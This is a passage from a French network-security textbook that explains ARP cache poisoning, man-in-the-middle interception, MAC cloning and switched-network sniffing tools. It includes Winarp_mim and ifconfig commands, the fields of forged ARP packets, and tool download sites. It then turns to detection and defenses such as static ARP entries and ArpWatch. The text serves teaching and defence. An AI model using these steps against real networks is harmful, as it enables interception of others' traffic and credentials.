ii) la mise a jour des entrées existantes. Cette manipulation est connue sous le nom
de corruption du cache ARP (ARP cache poisoning).

Deux techniques permettant la création et la mise a jour d’entrées dans le cache
ARP d’une machine cible.

La premieére technique : création d’un paquet ICMP, TCP ou UDP

Pour créer une entrée dans le cache ARP d’une machine cible, il suffit de lui
envoyer un paquet ICMP, TCP ou UDP qui provoque une réponse. Pour répondre a
cette demande, la machine cible émet une requéte ARP et créera, a la réception de la
réponse ARP, une entrée dans son cache ARP. L’entrée créée correspond a I’adresse
IP et I’adresse MAC de la machine qui a émis le paquet ICMP, TCP ou UDP.

Cette technique permet de créer des entrées valides dans le cache ARP.
Cependant, un agresseur peut programmer sa machine pour répondre aux requétes
ARP avec requétes ARP contenant de fausses adresses IP et/ou adresses MAC.
Ainsi, les machines qui recevront ces réponses ARP vont mettre a jour leurs caches
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par de fausses entrées. Il est clair que cette technique exige des compétences
avancées et n’est pas a la portée de tout le monde.

La deuxiéme technique : création et mise a jour directe par une requéte ou réponse ARP

Pour comprendre comment ce type d’opération est possible, revenons sur les
mécanismes de mise a jour du cache ARP. Comme nous I’avons expliqué dans les
chapitres 1 et 5, le cache ARP exploite tous les messages ARP (les réponses et les
requétes) qu’il recoit pour se tenir & jour. En effet, lorsqu’une machine recoit une
requéte ARP, le cache lit les champs adresses sources MAC et IP dans I’en-téte ARP
du message et met a jour le cache ARP si I’entrée existe déja, le cas échéant, il crée
une entrée dans le cache.

Méme si aucune requéte ARP n’a été envoyée, la plupart des anciens systémes
d’exploitation mettaient a jour leur cache ARP a la réception d’une réponse ARP.
Les nouveaux systémes, eux, ne mettent plus a jour leur cache ARP.

Quand une machine recoit une requéte ARP12, elle met a jour son cache ARP
avec l’association d’IP/MAC correspondant a I’émetteur de la requéte ARP. Tous
les systémes d’exploitation mettront a jour leurs caches ARP a la réception d’une
requéte ARP.

Avec une requéte ou réponse ARP, un agresseur arrive facilement non seulement
a créer une entrée dans le cache ARP d’une machine cible sans que cette derniere
n’ait initié la moindre requéte, mais surtout une fausse entrée. Pour maintenir les
fausses entrées dans le cache ARP de la machine cible, il lui suffit de renouveler
réguliérement I’envoi de ces fausses requétes ou réponses ARP. Avec un générateur
de paguet comme celui de CommView, un agresseur peut générer une requéte ou
réponse ARP et I’envoyer réguliérement a la machine cible pour corrompre son
cache ARP.

6.3.5.2. Le man-in-the-middle (MiM)

Les commutateurs acheminement les trames en utilisant la table de commutation
qui contient la liste des adresses MAC et de leurs ports respectifs.

Les cartes réseau peuvent passer en mode promiscuous ou elles sont autorisées a
examiner les trames qui sont destinées aux adresses MAC autres que les leurs. Sur
les réseaux commutés, cela ne pose pas de probléme car le commutateur conduit les
trames basées sur la table décrite ci-dessus. Ceci empéche en effet le sniffing des
trames. Cependant, en utilisant I’attaque du MiM, le sniffing peut étre possible sur
un réseau commuté.

12. L’adresse destination IP dans la requéte ARP est égale & I’adresse IP de I’ordinateur.
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Cette attaque est basée sur la technique de la corruption du cache ARP. Quand
un MiM est exécuté, un utilisateur malveillant positionne son ordinateur sur le
chemin de communications entre deux ordinateurs cibles. Le sniffing peut alors étre
exécuté. L’ordinateur malveillant expédie les trames échangées par les deux
ordinateurs cibles, ainsi les communications ne sont pas interrompues. L’attaque est
effectuée comme suit (A et B sont les ordinateurs cibles, C I’agresseur), figure 6.3 :

— C active son routage IP13 ;

— C corrompt les caches ARP de Aetde B ;

— A associe I’adresse IP de B a I’adresse MAC de C;

— B confond I’adresse IP de A avec I’adresse MAC de C ;

— tout le trafic IP de A et de B ira alors a C d’abord, au lieu d’aller directement
aAetB.

Machine A Machine B
Cache ARP corrompu 'f@\‘ ~ ‘@\" _ Cache ARP corrompu
P MAC ==, =75, P MAC
PB | mMacc P_a | mac_c
P.c | macc P.c | mac_c

N Routage
IP active
La machine C

de I'agresseur

Tout le trafic entre les machines A et B est
redirige vers la machine C

Figure 6.3. L’attaque du man-in-the-middle

Ceci est particulierement efficace quand la corruption touche aussi bien les
ordinateurs que les routeurs/passerelles. Tout le trafic Internet d’un serveur a pu
ainsi étre intercepté en exécutant une attaque MiM sur un ordinateur cible et le
routeur du LAN.

L’outil Winarp_mim

L’attaque MiM peut étre réalisée avec Winarp_mim, téléchargeable a I’adresse
www.arp-sk.org et qui utilise le pilote WinPcap.

13. Dans le paragraphe 6.3.2, nous avons vu comment activer le routage IP dans les systémes
Windows 2000, FreeBSD et Linux.
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Dans le cas illustré par la figure 6.3, I’attaquant C peut utiliser Winarp_mim en
tapant la commande « winarp_mim.exe -a adresse_IP_de A -b adresse IP_de B ».
L’outil fonctionne d’une fagon transparente seulement si la machine C active le
routage IP. C’est-a-dire qu’elle route tous les paquets capturés et destinés a une autre
machine (I’adresse IP destination dans le paquet capturé est différente de celle de
I’adresse IP de la machine C).

Winarp_mim fonctionne en trois étapes.

1) Envoi d’une requéte ARP aux machines A et B, pour obtenir leurs adresses
MAC. Ensuite, corruption de leurs caches ARP : envoi d’une requéte ARP aux
machines cibles :

— pour la machine A, I’adresse source IP dans I’en-téte ARP est égale a celle de
B et I'adresse source MAC dans I’en-téte ARP est égale a celle de C
(tableau 6.1),

— pour la machine B, I’adresse source IP dans I’en-téte ARP est égale a celle de
A et I'adresse source MAC dans I'en-téte ARP est égale a celle de C
(tableau 6.2).

2) Ce faux état des caches ARP des machines A et B est maintenue avec des
paquets ARP de réponse. Les informations concernant les champs de la machine
source, dans I’en-téte ARP des paquets envoyeés, sont les mémes, a savoir ;

Pour la machine A :
— I’adresse source IP = I’adresse IP de la machine B ;
— I’adresse source MAC = I’adresse MAC de la machine C de I’agresseur.

Pour la machine B :
— I’adresse source IP = I’adresse IP de la machine A ;
— I’adresse source MAC = I’adresse MAC de la machine C de I’agresseur.

3) A la fin de I’attaque, deux autres paquets ARP de requéte sont envoyés aux
machines A et B. Ces paquets ont pour but de restaurer les vrais entrées dans les
caches ARP des machines A et B.

Pour la machine A :
— I’adresse source IP = I’adresse IP de la machine B ;
— I’adresse source MAC = I’adresse MAC de la machine B.
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Pour la machine B :
— I’adresse IP source = I’adresse IP de la machine A ;
— I’adresse MAC source = I’adresse MAC de la machine A.

En-téte Ethernet
Adresse Source MAC = Une adresse MAC quelconque
Adresse Destination MAC = | L’adresse MAC de la machine A
Type Ethernet = 0x0806 (ARP message)

En-téte ARP

Adresse Source IP = L’adresse IP de la machine B
Adresse Source MAC = L’adresse MAC de la machine C
Adresse Destination IP = L’adresse IP de la machine A
Adresse Destination MAC = | 00:00:00:00:00:00
Opération = 1 (requéte ARP)

Tableau 6.1. Les valeurs des principaux champs
de la requéte ARP falsifiée envoyée a la machine A

En-téte Ethernet

Adresse Source MAC = Une adresse MAC quelconque
Adresse Destination MAC = L’adresse MAC de la machine B
Type Ethernet = 0x0806 (ARP message)

En-téte ARP
Adresse Source IP = L’adresse IP de la machine A
Adresse Source MAC = L’adresse MAC de la machine C
Adresse Destination IP = L’adresse IP de la machine B

Adresse Destination MAC = 00:00:00:00:00:00

Opération = 1 (requéte ARP)

Tableau 6.2. Les valeurs des principaux champs
de la requéte ARP falsifiée envoyée a la machine B
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A la fin de I’attaque, Winarp_mim permet de restaurer le contenu initial des
caches des machines victime. En effet, les utilisateurs Iégitimes des deux machines
épiées risquent de découvrir le sniffing si I’agresseur ne procéde pas a cette
restitution car la communication entre les deux machines n’était pas directe.

6.3.5.3. La diffusion (broadcasting)

Les trames peuvent étre diffusées sur la totalité du réseau si I’adresse de
destination MAC est placée a FF:FF:FF:FF:FF.FF (adresse de diffusion ou de
broadcast). En envoyant sur un réseau de fausses réponses ARP qui placent
I’adresse MAC de la passerelle réseau a I’adresse de diffusion, toutes les données
destinées a I’extérieur du réseau seront diffusées. C’est un type de sniffing
particulier. Par contre, toutes les données recues de I’extérieur et destinées a
I’intérieur du réseau seront envoyées seulement a leurs destinations, a moins que
I’agresseur ne réalise I’attaque de corruption du cache ARP sur la passerelle.

6.3.5.4. Le clonage de MAC (MAC cloning)

Les adresses MAC ont été prévues pour étre uniques pour chaque interface
réseau produite. Elles doivent étre gravées dans la ROM de chaque interface réseau,
et ne souffrent aucun changement. De nos jours, les adresses MAC sont facilement
changeables. Par exemple, les utilisateurs de Linux peuvent méme changer leur
MAC sans I’utilisation de logiciel spécifique, en utilisant un parameétre simple dans
la commande « ifconfig <interface> hw <classe> <adresse> ». Le mot-
clé « hw » doit étre suivi du nom de la classe matérielle et de I’adresse MAC en
caracteres imprimables ASCII. Les classes matérielles actuellement supportées
comprennent ether (Ethernet), ax25 (AMPR AX.25), ARCnet et netrom (AMPR
NET/ROM).

Exemple :
ifconfig ethO hw ether 00:0A:00:00:45:00
<interface> = eth0

<classe> = ether (Ethernet)

<adresse> = 00:0A:00:00:45:00

L’outil MAC Changer permet également aux utilisateurs de Linux de changer les
adresses MAC : http://www.alobbs.com/macchanger.
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L’outil SMAC permet de changer les MAC adresses pour les systémes
Windows 2000, XP et server 2003. L’outil est téléchargeable a I’adresse:
http://www.klcconsulting.net/smac/.

Par exemple, I’adresse MAC d’une machine est 00-E0-29-64-55-77. Sous
Windows, la commande « ipconfig /all » permet d’afficher I’adresse MAC d’une
machine ainsi que son adresse IP (écran ci-dessous).

v | C\WINDOWS \System32\cmd.exe e

(C) Copyright 1985-2881 Microsoft Corp.
C:\Documents and Settings\abid>ipconfig ~sall

Configuration IP de Windows

Nom de 1’hite

Suffixe DNS principal
Type de noud

Routage IP activé
Proxy WINS actiué

Carte Ethernet Connexion au réseau local:

: Carte SHC EZ 18,188 PCI (SMC1211TX>
: BB-EB-29-64-55-77

éseau

relle par défaut : 16.8 5
Serveurs DNS : 193.95.66.18
193.95.65.22

C:\Documents and Settings\ahid>

L’écran ci-dessous montre, lui, la procédure de modification de I’adresse MAC
de la machine avec I’outil SMAC. L’adresse MAC 00-E0-29-64-55-77 de la machine
sera remplacée par I’adresse MAC 0C-0C-0C-0C-0C-01.

f, SMAC 1.2 [WBEM On] - Evaluation Edition o ] 54|
File About  Purchase
Spoofed | Metwaork Adapter IF Address Active MAC

AC B 1000 PCL[S ) 10011120

¥ | St Ml dctive Metwork Adapters

New Spoofed MAC Addiess UpdateMaC | Refesh |
I oc _I e _I 0c _I oc _I e _I g ﬂ Femoyve MAL | Exit |

Spoofed MAC Address

| A

X KLC CONSULTING, INC

Active MAC Address www.klcconsulting. net /smac

| 00-E0-29-64-55-77 |

Disclaimer: Use this program at your awn risk. Ye are nok rezponsible for any damage that might accur to pour system. This

program is not bo be used for any illegal or unethical purpose. Do not use this program if pou do not agree with this disclaimer.
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Les documents suivants décrivent les démarches pour changer les adresses MAC
respectivement dans les systémes Windows NT et Windows 98/Me :

— http://www.klcconsulting.net/Change. MAC_wnt.htm ;
— http://www.klcconsulting.net/Change. MAC_w98.htm.

Il est important de noter qu’une fois I’adresse MAC change dans un systéme
Windows avec I’outil SMAC, elle sera gardée méme apres le redémarrage du
systeme. Par contre, pour un systéme Linux, une fois le systéme redémarre, I’adresse
MAC d’origine qui a été modifiée par MAC Changer ou la commande « ifconfig »
sera restaurée de nouveau.

Un pirate qui a pu attaquer un ordinateur par DoS, pourrait assigner, par la suite,
les adresses IP et MAC de cet ordinateur cible, recevant ainsi toutes les trames
prévues et destinées en principe a sa victime.

6.4. Les outils de sniffing

Dsniff est le premier programme qui a rendu possible le sniffing dans un réseau
local commuté. Aujourd’hui les sniffers des réseaux commutésl4 sont nombreux et
disponibles sur Internet. Cependant la plupart d’entre eux combinent plusieurs
fonctions si bien qu’ils sont devenus des outils de piratage trés puissants. Dans une
section précédente, nous avons parlé de Winarp_mim, qui permet le sniffing dans les
réseaux commutés. Dans ce paragraphe, nous évoquerons tout d’abord Dsniff,
ensuite nous présenterons d’autres sniffers.

6.4.1. Dsniff

Dsniff est un sniffer de réseau commuté. Ecrit par le hacker Dug Song, c’est une
boite d’outils qui inclut entre autres un code pour analyser différents protocoles
d’application et pour extraire des informations cruciales, telles que des noms
d’utilisateurs, des mots de passe, des pages web visitées, etc. Ces capacités avaient
provoqué le désarroi de la communauté de sécurité. Le tableau suivant énumere les
principales fonctionnalités de Dsniff.

14. Appelés également sniffers actifs.
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Arpspoof | Redirection des paquets sur le LAN.

Dnsspoof | Production de réponses pour les requétes DNS.
Sniffing de mots de passe dans FTP, Telnet, SMTP, HTTP, POP, poppas,
NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP,

Dsniff NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster,
PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI
Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase et Microsoft SQL
authentification info.

Filesnarf | Sauvegarde des fichiers sniffés a partir du trafic NFS.

Macof Transformation des commutateurs vers le mode répétiteur (hub).

Mailsnarf | Sauvegarde des e-mails sniffés & partir du trafic SMTP et POP.
Sauvegarde des sessions messages et chat sniffés a partir de Most instant

Msgsnarf
messenger protocols et IRC.

Tepkill Désactivation des connexions TCP spécifiques.

Tcpnice | Ralentissement des connexions TCP spécifiques.

Urlsnarf | Affichage des URL du trafic HTTP.

Sshmitm Snlfhng_ du trafic SSH redirigé par dnsspoof, capture des mots de passe et
des logins.

. Sniffing du trafic HTTP/HTTPS redirigé par dnsspoof, capture des logins

webmitm .

cryptes par SSL.

6.4.2. Ettercap

Ettercap est un programme puissant destiné a Unix et utilisant une interface
utilisateur graphique assez pratique. C’est un sniffer spécialement congu pour les
réseaux commutés. Toutes les opérations sont automatisées, et les ordinateurs cibles
sont choisis a partir d’une liste scrollable de machines détectées sur le réseau LAN.

Ettercap automatise également les procédures suivantes :

— injection de caracteres dans les connexions ;

— collection de mots de passe ;

— destruction des connexions.

Ettercap peut étre téléchargeable au site : http://ettercap.sourceforge.net.
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6.4.3. Taranis

Taranis vise a démontrer la nécessité d’une cryptographie et authentification
fortes dans un réseau local Ethernet. Il permet de visualiser les logins et mots de
passe en redirigeant le trafic destiné aux serveurs POP et IMAP vers la machine
exécutant Taranis. Taranis est téléchargeable a I’adresse : http:/AMww.bitland.net/taranis/.

6.4.4. Angst

Angst est un sniffer actif qui corrompt le cache ARP et envoie aléatoirement des
adresses MAC pour inonder le commutateur afin de transformer son comportement
du mode Bridging en mode répétiteur. Il capture tout paquet circulant dans le réseau
et comprend des options de filtrage et de traitement. Angst est téléchargeable a
I’adresse : http://angst.sourceforge.net.

6.4.5. Winarp-sk

L’outil Winarp_sk est disponible a I’adresse http://www.arp-sk.org. Il permet la
génération de messages ARP avec la possibilité de personnaliser tous les champs,
aussi bien au niveau Ethernet qu’au niveau ARP.

6.4.6. ARPoison

ARPoison est un outil pour Unix qui permet de créer des réponses ARP
falsifiées. Les utilisateurs peuvent indiquer la source et la destination des adresses IP
et MAC. Cet outil est téléchargeable a partir du site : http://packetstormsecurity.org/.

6.4.7. Parasite

Parasite est un programme qui observe un LAN pour des requétes ARP, et
envoie automatiquement des réponses ARP falsifiées, ce qui place I’ordinateur
attaquant comme MiM pour n’importe quel ordinateur qui énonce des requétes ARP.
Ceci a pour conséquence de favoriser une attaque MiM sur toutes les machines du
LAN et toutes les données sur le commutateur peuvent étre aspirées.
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Une fois arrété, Parasite ne fait pas le nettoyage approprié. Ce qui provogue un
déni de service de tous les ordinateurs « corrompus » car leurs caches ARP pointent
sur une adresse MAC qui n’est plus expéditrice de leurs trames. Les entrées ARP
corrompues dans le cache ARP doivent expirer avant que I’opération normale ne
puisse reprendre.

Parasite est téléchargeable au site : http://mww.thehackerschoice.com/releases.php.

6.4.8. Le projet ZWEKNU

Le projet ZWEKNU a développé un outil, nommé MiM, permettant le sniffing
dans un réseau commuté et basé sur I’attaque du man-in-the-middle. L outil est
téléchargeable a partir de I’adresse : http://www.zweknu.org/src/MiM.

6.4.9. Snarp

Snarp est un outil pour Windows NT 4.0. Il utilise I’attaque de corruption du
cache ARP pour rediriger le trafic vers la machine sur laquelle il s’exécute. Ceci
permet a un agresseur de sniffer le réseau.

L’outil est téléchargeable a I’adresse : http://packetstorm.security.com/NT/snarp.zip.

6.5. Résumé du chapitre 6

Plusieurs administrateurs réseau pensent que le sniffing n’est pas possible dans
les réseaux commutés, puisque le switch ne permet pas la diffusion des trames a
toutes les machines connectées, comme c’est le cas d’un hub. Pour eux, seule la
machine destinataire d’une trame la recevrait, les autres machines n’y ont pas acces.

Ce chapitre traite des sniffers dans les réseaux Ethernet commutés et démontre
clairement que les activités de sniffing sont possibles méme dans les réseaux
commutés. Si les sniffers des réseaux commutés sont des programmes actifs, ceux
des réseaux partagés sont des programmes passifs. Dans un réseau partagé, il suffit
de mettre une carte en mode promiscuous pour parvenir a capturer le trafic du
réseau. Dans un réseau commuté, le mode promiscuous ne permet pas d’en capturer
le trafic. Des techniques de détournement de trafic, telle la manipulation des caches
ARP, sont nécessaires afin de rediriger et d’amener le trafic vers la machine qui
cherche a sniffer le trafic. L’activation du routage IP dans la machine sniffeuse est
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donc nécessaire, afin de router de nouveau le trafic sniffé vers sa vraie destination et
gviter un état de DoS.

Le chapitre suivant présente les techniques et les outils de détection des activités
de sniffing dans les réseaux commutés.
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CHAPITRE 7

Les techniques et les outils de détection
des sniffers dans les réseaux commutés

7.1. Introduction

Dans les réseaux Ethernet partagés, le sniffing est une activité passive qui permet
aux pirates de prendre une simple copie de chaque paquet circulant dans le réseau.
Les pirates n’ont besoin ni de rediriger le trafic ni de le modifier. D’autre part, le
monde de la sécurité a trouvé dans les commutateurs une solution efficace pour
protéger les réseaux des activités du sniffing passif. En revanche, pour réaliser des
activités de sniffing performantes dans les réseaux commutés, les pirates ont exploité
des vulnérabilités dans les protocoles TCP/IP, notamment le protocole ARP. Dans
les réseaux commutés on ne parle pas de capture passive du trafic, mais de
redirection et de retransmission du trafic.

Comme nous I’avons vu dans le chapitre précédent, rediriger et retransmettre le
trafic est une opération compliquée qui nécessite des connaissances avancées et des
outils performants. Ainsi, pour exécuter une telle attaque, un pirate est amené a
générer une quantité importante de trafic dont une grande partie contient de fausses
données visant a corrompre les caches ARP des machines cibles et a y maintenir les
entrées erronées. On parle d’attaque de sniffing actif.

Pour prévenir et détecter de telles activités dans les réseaux commutés, nous
allons, dans un premier temps, nous intéresser a la protection contre I’attaque de
corruption des caches ARP. Cette attaque est a la base des activités du sniffing actif
puisqu’elle permet de rediriger le trafic. En outre, elle est la plus efficace, la plus
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générale et ne dépend pas du type de commutateur. Les autres méthodes de sniffing!
ne sont possibles que sous certaines conditions ou peuvent étre évitées notamment
par un commutateur performant. Dans un deuxiéme temps, nous nous intéresserons
a la détection de ce type d’attaques. Enfin, nous proposerons deux parades a utiliser
contre les agresseurs.

7.2. Les caches ARP statiques

Il existe deux types d’entrées dans le cache ARP :

— des entrées dynamiques : ce sont des entrées qui restent en cache pendant
guelques minutes (ceci dépend du systéme d’exploitation) puis elles sont supprimées
si elles ne sont pas référencées. Une nouvelle requéte ARP permet de créer de
nouveau une entrée supprimée ;

— des entrées statiques : ce sont des entrées qui restent en cache jusqu’a ce que le
systeme redémarre.

Par exemple, sous Windows et Linux, la commande « arp -s <IP> <MAC> »
permet de marquer I’entrée IP/MAC comme une entrée statique. La commande
«arp -a» permet de visualiser le contenu du cache ARP et d’identifier les entrées
statiques et les entrées dynamiques (écran ci-dessous).

C:s\Documents and Settings“Administrateurlarp -a

: 18.8.11.124 on Interf
Internet Ad
25

Type

dynamigue
dynanigue
- dynamigue
Bc-Bb—Bc-Bc-Bc-A1 statigue

C:\Documents and Settings\Administrateur?

Un moyen efficace de protéger le cache ARP contre I’attaque de la corruption du
cache ARP est d’ajouter des entrées statiques. C’est-a-dire que les associations
IP/MAC dans les caches ARP ne peuvent plus étre mises a jour par les paquets ARP
recus, et n’expirent donc jamais. Mais, ceci peut donner un faux sentiment de
sécurité sous certains systemes d’exploitation comme Windows 2000. En effet, ces
systemes permettent de marquer des entrées statiques dans les caches ARP et
autorisent leur mise a jour par des requétes et/ou réponses ARP. Par conséquent, de
telles entrées ne peuvent pas étre considérées comme des entrées statiques mais
uniquement des entrées permanentes dans les caches ARP.

1. Voir chapitre 6.
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Le tableau 7.1 montre que seul le cache ARP de Windows 2000 est vulnérable a
la mise a jour des entrées statiques. Ainsi, une entrée statique signifie simplement
une entrée permanente mais modifiable. Par conséquent, Windows 2000 n’empéche
pas un pirate de corrompre des entrées statiques. Les autres systémes testés
empéchent la corruption des entrées statiques. Dans ces systémes, une entrée
statique est une entrée permanente et non modifiable.

Possibilité de Possibilité de
modification d’une modification d’une Observation
entrée statique par | entrée statique par sur I’entrée

une requéte ARP une réponse ARP
Windows 2000 Oui Oui Permanente
mais non statique
Windows XP Non Non Permanente
et statique
Windows 2003 Permanente
Non Non .
server et statique
Linux 2.4 Non Non Perma_nente
et statique
Linux 2.6 Non Non Perma_nente
et statique
FreeBSD 4.11 Non Non Permanente
et statique

Tableau 7.1. Mise a jour des entrées statiques par des requétes et réponses ARP

Le systeme Solaris est capable de placer quelques paramétres systeme pour
rendre la tache plus dure aux attaquants. Outre le cache statique, Solaris offre la
possibilité de modifier la valeur du temps d’expiration d’une entrée du cache ARP a
I’aide de la commande ndd :

ndd -set /dev/arp arp_cleanup_interval <time en ms>

Une valeur faible permet un renouvellement fréquent des entrées qui oblige un
attaquant a forcer le maintient des entrées falsifiées de fagon plus soutenue, donc
plus visible. Cependant, une valeur trop faible de ce temps nuit a I’efficacité du
réseau.

Le systéme FreeBSD notera toute tentative de modification des entrées statiques
dans le cache ARP, dans le journal systéme :
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Apr 27 06:17:52 /kernel : arp : 00:10:5h:2f:ce:27 attempts to modify permanent
entry for 172.16.16.3 on Inc1.*

Le mécanisme du cache ARP statique n’est malheureusement applicable que
pour des petits réseaux locaux. Dans un grand réseau local, par contre, le
déploiement de ces tables ARP statiques et leur mise a jour sont des tdches non
pratiques.

7.3. Mise a jour des caches ARP

Sans requétes ARP, les réponses ARP représentent I’opération la plus facile et la
plus efficace pour mettre en ceuvre une attaque de type corruption du cache ARP.
Mais si la plupart des systémes restent encore vulnérables a I’attaque de la
corruption du cache ARP basée sur les requétes ARP falsifiées, les nouveaux
systemes d’exploitation ne le sont plus.

Le tableau suivant? montre le comportement de quelques systémes devant les
réponses et les requétes ARP.

v/ = La requéte ou la réponse sont prises en compte et permettent donc la mise a jour ou la
création de I’entrée.

X = La requéte ou la réponse ne sont pas prises en compte et ne permettent donc ni la mise &
jour ni la création de I’entrée.

Tableau 7.2. Mise & jour des caches ARP par des requétes et des réponses ARP

2. Voir également ce que nous en disions, paragraphe 5.3.9.1.
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D’apres les résultats de ces tests, nous rappelons les conclusions suivantes :

—si I’entrée n’existe pas dans le cache ARP, tous les systemes testés, a
I’exception de Windows 2000 et FreeBSD 4.11, n’autorisent pas la création de
I’entrée par une réponse ARP ;

— si I’entrée n’existe pas dans le cache ARP, tous les systemes testés autorisent
la création d’une entrée par une requéte ARP ;

— par contre, si I’entrée existe déja dans le cache ARP, tous les systémes testés
autorisent sa mise a jour par une réponse ARP (méme en absence auparavant d’une
requéte ARP) ou par une requéte ARP.

De ce fait, si une attaque de corruption du cache ARP utilisant les réponses ARP
devient plus difficile a exécuter sur des machines Windows et Linux, elle reste tout
de méme possible grace aux requétes ARP falsifiées.

7.4. Détection de la corruption basée sur I’analyse du trafic

L’attaque de la corruption du cache ARP est utilisée pour rediriger du trafic et
par conséquent réaliser des activités de sniffing dans un réseau commuté3.

L’attaque de la corruption du cache ARP n’est possible que si I’intrus émet des
requétes ou des réponses ARP contenant de fausses associations IP/MAC.
Autrement dit, I’intrus doit émettre une requéte ou une réponse ARP contenant
I’adresse IP de la machine cible comme adresse source IP dans I’en-téte ARP et
I’adresse MAC de la machine de I’intrus comme adresse source MAC dans I’en-téte
ARP. Par conséquent, si le trafic ARP du réseau est analysé, il est possible de
détecter aussi bien I’attaque que la machine qui en est responsable.

7.4.1. Les vulnérabilités du protocole ARP

L’attaque de corruption du cache ARP est rendue possible a cause des
vulnérabilités dont souffre le protocole ARP puisqu’il autorise la génération de
paquets ARP falsifiées. Ces vulnérabilités peuvent étre résumées comme suit.

Les paquets ARP sont émis en broadcast, ce qui permet a un pirate de voir tout
le trafic ARP et de lancer une attaque de type ARP spoofing en envoyant une
réponse ARP falsifiée a la machine émettrice de la requéte ARP.

3. Nous avons détaillé, dans le chapitre précédent, le principe de fonctionnement du sniffing.
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La plupart des nouvelles versions des systemes (Windows XP, Windows 2003
servers, Linux 2.6, etc.) vérifient qu’ils ont bien émis une requéte ARP avant
d’accepter une réponse ARP. Ceci est possible grace a la vérification, dans leur
cache ARP, de I’existence d’une entrée correspondante. Windows 2000 et plusieurs
anciennes versions des systéemes sont vulnérables face a I’attaque des réponses ARP
falsifiees.

S’il existe une entrée, tous les systemes Linux et Windows sont vulnérables a ce
type d’attaque. Dans ce cas, une requéte ou réponse ARP falsifiée permet de mettre
a jour le cache ARP.

Tous les systemes Linux et Windows sont vulnérables lorsque des requétes ARP
falsifiées sont utilisees.

La couche ARP ne fait aucune vérification entre les adresses MAC de I’en-téte
Ethernet et les adresses MAC de I’en-téte ARP. Ceci permet aux intrus d’émettre par
exemple des paquets ARP dont I’adresse source MAC dans I’en-téte Ethernet ne
correspond pas au champ adresse source MAC dans I’en-téte ARP.

La couche ARP accepte les requétes ARP émises en unicast et en broadcast.
Alors qu’une requéte ARP devrait étre toujours en broadcast.

En outre, comme le cache ARP utilise tous les paquets ARP pour sa mise a jour,
les pirates envoient soit des requétes ARP falsifiées en unicast, soit des réponses
ARP falsifiée aprés avoir créé I’entrée voulue. De plus, pour que la corruption reste
active?, une machine en train d’accomplir cette attaque doit émettre des réponses
ARP de facon continue et fréquente.

7.4.2. Une approche de détection

L’idée principale de cette approche de détection consiste a construire une table
des associations d’IP/MAC pour chague machine connectée au réseau. Puis, le
programme de capture et d’analyse du trafic avertit I’administrateur si I’en-téte d’un
paquet ARP capturé contient des champs qui ne correspondent pas aux données
contenues dans la table des associations d’IP/MAC. Il est clair que le programme
doit étre capable de capturer tout le trafic circulant dans le réseau commuté. Ainsi, la
machine exécutant le programme doit étre connectée au commutateur sur un port
permettant la capture de la totalité du trafic sur le réseau, par exemple un port
moniteur (ou SPAN).

4. C’est-a-dire le cache ARP reste corrompu.
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L’outil ArpWatch met en ceuvre ce type de détection®. C’est un programme libre
d’Unix qui écoute le trafic ARP sur un réseau. Il construit une table des associations
d’IP/MAC et la stocke dans un fichier. Quand I’adresse MAC liée a une adresse IP
ne correspondant pas a I’adresse MAC dans la table des associations d’IP/MAC
d’ArpWatch, I’administrateur est alerté et un e-mail lui est envoyé.

Le systéme de détection d’intrusion (IDS) Snort propose la méme fonctionnalité®.

7.4.2.1. Détection des paquets suspects

Tout outil visant a détecter I’attaque de corruption du cache ARP doit construire
automatiquement la table des associations IP/MAC pour chaque machine du réseau.
Cette table doit étre mise a jour chaque fois qu’une nouvelle machine est ajoutée au
réseau. La création de nouvelles entrées doit étre faite aprés vérification. L outil doit
également étre en mesure de signaler a I’administrateur réseau tous les paquets ARP
qui vérifient I’une des anomalies suivantes.

Une requéte ARP dont I’adresse destination MAC dans I’en-téte Ethernet est en
unicast ou tout simplement n’est pas en broadcast. Normalement, une requéte ARP
doit étre toujours en broadcast.

Une requéte ou réponse ARP émise et dont le couple adresse source IP et adresse
source MAC dans I’en-téte ARP est différent du couple correspondant dans la table
des associations IP/MAC.

Une requéte ou réponse ARP dont I’adresse source MAC dans I’en-téte Ethernet
n’est pas égale a I’adresse source MAC dans I’en-téte ARP.

Une réponse ARP dont I’adresse destination MAC dans I’en-téte Ethernet n’est
pas égale a I’adresse destination MAC dans I’en-téte ARP.

Une requéte ou réponse ARP contenant une adresse IP ou MAC (source ou
destination) qui ne se trouve pas dans la table des associations IP/MAC.

Une fois I'une de ces anomalies détectée, un administrateur doit étre
capable d’évaluer le niveau de danger. En fait, il peut s’agir d’un simple
changement d’adresse IP, d’un nouveau matériel avec évidement une nouvelle

5. Téléchargeable a partir du site ftp://ftp.ee.Ibl.gov.
6. Snort est téléchargeable & I’adresse : http://www.snort.org.
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adresse MAC, ou encore d’une erreur due a un paquet erroné. Néanmoins, une
classification décroissante des risques est nécessaire.

Si une ou plusieurs requétes ARP en unicast sont détectées, la probabilité
d’une attaque en cours est grande car rien n’explique I’existence de requétes ARP
en unicast.

Si plusieurs réponses ARP avec de fausses associations IP/MAC sont détectées,
il est fort probable qu’un intrus est en train de mettre a jour une fausse entrée dans le
cache ARP.

Un changement d’adresse IP ou I’ajout d’une nouvelle carte réseau est fréquent
dans un réseau local. L’administrateur réseau a donc la responsabilité de décider du
niveau du risque permis qui est proportionnel a la confidentialité des données
achemineées a travers le réseau.

En outre, le but de cette approche de détection est d’identifier les machines
responsables des attaques. De ce fait, il est trés important de traiter avec attention les
machines qui génerent ce type de paquets et connaitre leurs utilisateurs présumés.

7.5. La défense contre le clonage MAC (MAC cloning)

Le clonage de MAC’ peut étre empéché par un dispositif appelé port security8,
situé sur les commutateurs. Celui-ci bloque les changements de la table de
commutation d’un commutateur, a moins que ce clonage soit exécuté manuellement
par un administrateur réseau. Il n’est cependant pas pratique pour les grands réseaux,
ou les réseaux employant des serveurs DHCP®. Il est important de noter que le port
security est inefficace contre la corruption du cache ARP.

Le protocole RARP (reverse ARP) suffit a détecter le clonage de MAC. Il
demande I’adresse IP d’une machine d’adresse MAC connue. L’envoi d’une
demande RARP de toutes les adresses MAC sur un réseau pourrait déterminer si
I’'une des machines exécute le clonage, et si des réponses RARP multiples sont
recues pour une adresse simple de MAC.

7. Voir chapitre 6, paragraphe 6.3.5.4.

8. Egalement connu sous le nom de port binding ou MAC binding.

9. DHCP (dynamic host configuration protocol) : il s’agit d’un protocole qui permet a un
